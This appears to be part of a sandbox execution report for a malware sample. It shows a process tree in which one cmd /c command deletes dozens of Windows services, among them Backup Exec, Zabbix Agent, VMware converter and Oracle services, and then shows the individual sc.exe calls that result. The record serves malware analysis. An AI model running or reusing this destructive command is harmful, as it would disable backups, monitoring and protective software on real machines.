    cmd /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusbrdsrv & @sc delete "ZTE USBIP Client Guard" & @sc delete "ZTE USBIP Client" & @sc delete "ZTE FileTranS" & @sc delete wwbizsrv & @sc delete qemu-ga & @sc delete AlibabaProtect & @sc delete ZTEVdservice & @sc delete kbasesrv & @sc delete MMRHookService & @sc delete OracleJobSchedulerORCL & @sc delete IpOverUsbSvc & @sc delete MsDtsServer100 & @sc delete KuaiYunTools & @sc delete KMSELDI & @sc delete btPanel & @sc delete Protect_2345Explorer & @sc delete 2345PicSvc & @sc delete vmware-converter-agent & @sc delete vmware-converter-server & @sc delete vmware-converter-worker & @sc delete QQCertificateService & @sc delete OracleRemExecService & @sc delete GPSDaemon & @sc delete GPSUserSvr & @sc delete GPSDownSvr & @sc delete GPSStorageSvr & @sc delete GPSDataProcSvr & @sc delete GPSGatewaySvr & @sc delete GPSMediaSvr & @sc delete GPSLoginSvr & @sc delete GPSTomcat6 & @sc delete GPSMysqld & @sc delete GPSFtpd & @sc delete "Zabbix Agent" & @sc delete BackupExecAgentAccelerator & @sc delete bedbg & @sc delete BackupExecDeviceMediaService & @sc delete BackupExecRPCService & @sc delete BackupExecAgentBrowser & @sc delete BackupExecJobEngine & @sc delete BackupExecManagementService & @sc delete MDM & @sc delete TxQBService & @sc delete Gailun_Downloader & @sc delete RemoteAssistService & @sc delete YunService & @sc delete Serv-U & @sc delete "EasyFZS Server" & @sc delete "Rpc Monitor" & @sc delete OpenFastAssist & @sc delete "Nuo Update Monitor" & @sc delete "Daemon Service" & @sc delete asComSvc & @sc delete OfficeUpdateService & @sc delete RtcSrv & @sc delete RTCASMCU & @sc delete FTA & @sc delete MASTER & @sc delete NscAuthService & @sc delete MSCRMUnzipService & @sc delete MSCRMAsyncService$maintenance"
    3⤵
    PID:436
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "UWS LoPriv Services"
      4⤵
      PID:4480
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ftnlsv3
      4⤵
      PID:4724
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ftnlses3
      4⤵
      PID:4916
  - - C:\Windows\SysWOW64\sc.exe
      sc delete FxService
      4⤵
      PID:5116
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "UtilDev Web Server Pro"
      4⤵
      PID:4140
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ftusbrdwks
      4⤵
      PID:280
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ftusbrdsrv
      4⤵
      PID:4604
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "ZTE USBIP Client Guard"
      4⤵
      PID:4796
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "ZTE FileTranS"
      4⤵
      PID:4504
  - - C:\Windows\SysWOW64\sc.exe
      sc delete "ZTE USBIP Client"
      4⤵
      PID:4888
  - - C:\Windows\SysWOW64\sc.exe
      sc delete wwbizsrv
      4⤵
      PID:1912
  - - C:\Windows\SysWOW64\sc.exe
      sc delete qemu-ga
      4⤵
      PID:4604
  - - C:\Windows\SysWOW64\sc.exe
      sc delete AlibabaProtect
      4⤵
      PID:4780
  - - C:\Windows\SysWOW64\sc.exe
      sc delete ZTEVdservice
      4⤵
      PID:5108
  - - C:\Windows\SysWOW64\sc.exe
      sc delete kbasesrv
      4⤵
      PID:4104
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MMRHookService
      4⤵
      PID:4744
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleJobSchedulerORCL
      4⤵
      PID:4456
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MsDtsServer100
      4⤵
      PID:4224
  - - C:\Windows\SysWOW64\sc.exe
      sc delete KuaiYunTools
      4⤵
      PID:4860
  - - C:\Windows\SysWOW64\sc.exe
      sc delete btPanel
      4⤵
      PID:1712
  - - C:\Windows\SysWOW64\sc.exe
      sc delete KMSELDI
      4⤵
      PID:4216
  - - C:\Windows\SysWOW64\sc.exe
      sc delete Protect_2345Explorer
      4⤵
      PID:4508
  - - C:\Windows\SysWOW64\sc.exe
      sc delete IpOverUsbSvc
      4⤵
      PID:4900
  - - C:\Windows\SysWOW64\sc.exe
      sc delete 2345PicSvc
      4⤵
      PID:4836
  - - C:\Windows\SysWOW64\sc.exe
      sc delete vmware-converter-agent
      4⤵
      PID:8
  - - C:\Windows\SysWOW64\sc.exe
      sc delete vmware-converter-server
      4⤵
      PID:1816
  - - C:\Windows\SysWOW64\sc.exe
      sc delete vmware-converter-worker
      4⤵
      PID:5108
  - - C:\Windows\SysWOW64\sc.exe
      sc delete QQCertificateService
      4⤵
      PID:4744
  - - C:\Windows\SysWOW64\sc.exe
      sc delete OracleRemExecService
      4⤵
      PID:4576